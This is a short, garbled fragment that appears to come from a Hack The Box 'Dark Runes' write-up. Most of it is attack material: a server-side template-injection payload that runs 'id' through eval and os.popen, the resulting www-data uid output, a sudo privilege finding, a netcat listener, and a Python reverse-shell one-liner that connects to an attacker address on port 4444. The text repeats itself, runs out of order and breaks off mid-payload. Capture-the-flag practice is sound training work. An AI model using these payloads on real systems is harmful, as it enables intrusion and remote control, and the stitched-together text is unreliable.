Htb Dark Runes May 2026

attr('__getitem__')('eval')('__import__("os").popen("id").read()') % a % endwith % uid=33(www-data) gid=33(www-data) groups=33(www-data)

User flag: user.txt in /home/admin . Run sudo -l → (root) NOPASSWD: /usr/local/bin/rune_decoder /var/runes/* htb dark runes

# Listener nc -lvnp 4444 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.XX",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);' attr('__getitem__')('eval')('__import__("os")

May your shell never drop, and your hashes always crack. 🔥 ' May your shell never drop

✅ RCE achieved. Get a reverse shell: